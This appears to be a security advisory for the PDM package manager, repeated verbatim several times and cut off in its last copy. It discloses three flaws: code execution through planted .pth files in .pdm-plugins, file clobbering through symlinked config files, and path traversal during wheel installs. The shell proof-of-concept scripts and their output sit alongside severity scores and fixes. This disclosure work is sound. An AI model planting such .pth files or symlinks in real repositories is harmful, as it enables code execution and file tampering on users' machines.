pdm

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

• Arbitrary code execution as the invoking user
• Potential credential theft, persistence, or workspace tampering
• Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. Same class as Poetry CVE-2026-34591. Fix ready at: https://github.com/pdm-project/pdm/pull/3787.

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected Behavior

• Project-local config writes can affect files outside the repository
• The most stable demonstrated sink is pdm.toml
• Related sinks include .pdm-python and .python-version

Affected Code

• src/pdm/project/config.py:303-350
• src/pdm/project/core.py:209-217
• src/pdm/cli/commands/use.py:187-189

Technical Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

• Arbitrary file clobber as the invoking user
• Destructive modification of local files outside the repository root
• Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

• A temporary project is created
• pdm.toml is a symlink to another TOML file
• Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

• Base score: 6.8 (Medium)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
• AC:L: there is no complex constraint once the symlink sink exists
• AT:N: no extra prerequisite beyond the victim running the relevant command is required
• PR:N: the attacker does not need prior privileges on the victim system
• UI:A: the victim must actively run a command that writes project-local state or config
• VC:N: the demonstrated issue is a write primitive, not a direct read primitive
• VI:H: the attacker can cause unauthorized modification of files outside the repository root
• VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
• SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended Remediation

• Refuse to write project-local config/state files when the destination is a symlink
• Use lstat and O_NOFOLLOW where available
• Avoid resolving attacker-controlled project-local paths before writing
• Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

• Arbitrary code execution as the invoking user
• Potential credential theft, persistence, or workspace tampering
• Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. Same class as Poetry CVE-2026-34591. Fix ready at: https://github.com/pdm-project/pdm/pull/3787.

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected Behavior

• Project-local config writes can affect files outside the repository
• The most stable demonstrated sink is pdm.toml
• Related sinks include .pdm-python and .python-version

Affected Code

• src/pdm/project/config.py:303-350
• src/pdm/project/core.py:209-217
• src/pdm/cli/commands/use.py:187-189

Technical Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

• Arbitrary file clobber as the invoking user
• Destructive modification of local files outside the repository root
• Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

• A temporary project is created
• pdm.toml is a symlink to another TOML file
• Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

• Base score: 6.8 (Medium)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
• AC:L: there is no complex constraint once the symlink sink exists
• AT:N: no extra prerequisite beyond the victim running the relevant command is required
• PR:N: the attacker does not need prior privileges on the victim system
• UI:A: the victim must actively run a command that writes project-local state or config
• VC:N: the demonstrated issue is a write primitive, not a direct read primitive
• VI:H: the attacker can cause unauthorized modification of files outside the repository root
• VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
• SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended Remediation

• Refuse to write project-local config/state files when the destination is a symlink
• Use lstat and O_NOFOLLOW where available
• Avoid resolving attacker-controlled project-local paths before writing
• Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

• Arbitrary code execution as the invoking user
• Potential credential theft, persistence, or workspace tampering
• Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. Same class as Poetry CVE-2026-34591. Fix ready at: https://github.com/pdm-project/pdm/pull/3787.

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected Behavior

• Project-local config writes can affect files outside the repository
• The most stable demonstrated sink is pdm.toml
• Related sinks include .pdm-python and .python-version

Affected Code

• src/pdm/project/config.py:303-350
• src/pdm/project/core.py:209-217
• src/pdm/cli/commands/use.py:187-189

Technical Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

• Arbitrary file clobber as the invoking user
• Destructive modification of local files outside the repository root
• Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

• A temporary project is created
• pdm.toml is a symlink to another TOML file
• Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

• Base score: 6.8 (Medium)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
• AC:L: there is no complex constraint once the symlink sink exists
• AT:N: no extra prerequisite beyond the victim running the relevant command is required
• PR:N: the attacker does not need prior privileges on the victim system
• UI:A: the victim must actively run a command that writes project-local state or config
• VC:N: the demonstrated issue is a write primitive, not a direct read primitive
• VI:H: the attacker can cause unauthorized modification of files outside the repository root
• VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
• SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended Remediation

• Refuse to write project-local config/state files when the destination is a symlink
• Use lstat and O_NOFOLLOW where available
• Avoid resolving attacker-controlled project-local paths before writing
• Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

• Arbitrary code execution as the invoking user
• Potential credential theft, persistence, or workspace tampering
• Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. Same class as Poetry CVE-2026-34591. Fix ready at: https://github.com/pdm-project/pdm/pull/3787.

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.

Affected Behavior

• Project-local config writes can affect files outside the repository
• The most stable demonstrated sink is pdm.toml
• Related sinks include .pdm-python and .python-version

Affected Code

• src/pdm/project/config.py:303-350
• src/pdm/project/core.py:209-217
• src/pdm/cli/commands/use.py:187-189

Technical Details

Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.

The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.

For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.

Impact

• Arbitrary file clobber as the invoking user
• Destructive modification of local files outside the repository root
• Useful primitive for privilege abuse when pdm is run in elevated contexts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"

cat > "$target" <<'EOF'
[seed]
value = 1
EOF

ln -s "$target" "$tmpdir/pdm.toml"

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm config -l venv.in_project false
)

cat "$target"

Expected result:

• A temporary project is created
• pdm.toml is a symlink to another TOML file
• Running pdm config -l venv.in_project false modifies the symlink target

Observed output from local validation:

--- target ---
[seed]
value = 1

[venv]
in_project = false

Severity

Medium

CVSS v4.0

• Base score: 6.8 (Medium)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation requires local execution of pdm against an attacker-prepared checkout
• AC:L: there is no complex constraint once the symlink sink exists
• AT:N: no extra prerequisite beyond the victim running the relevant command is required
• PR:N: the attacker does not need prior privileges on the victim system
• UI:A: the victim must actively run a command that writes project-local state or config
• VC:N: the demonstrated issue is a write primitive, not a direct read primitive
• VI:H: the attacker can cause unauthorized modification of files outside the repository root
• VA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCE
• SC:N/SI:N/SA:N: the base score is limited to the directly affected system

Root Cause

Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.

Recommended Remediation

• Refuse to write project-local config/state files when the destination is a symlink
• Use lstat and O_NOFOLLOW where available
• Avoid resolving attacker-controlled project-local paths before writing
• Use atomic temp-file replacement only after confirming the destination is a regular file

Disclosure Notes

This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

• Arbitrary code execution as the invoking user
• Potential credential theft, persistence, or workspace tampering
• Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. Same class as Poetry CVE-2026-34591. Fix ready at: https://github.com/pdm-project/pdm/pull/3787.

Summary

PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.

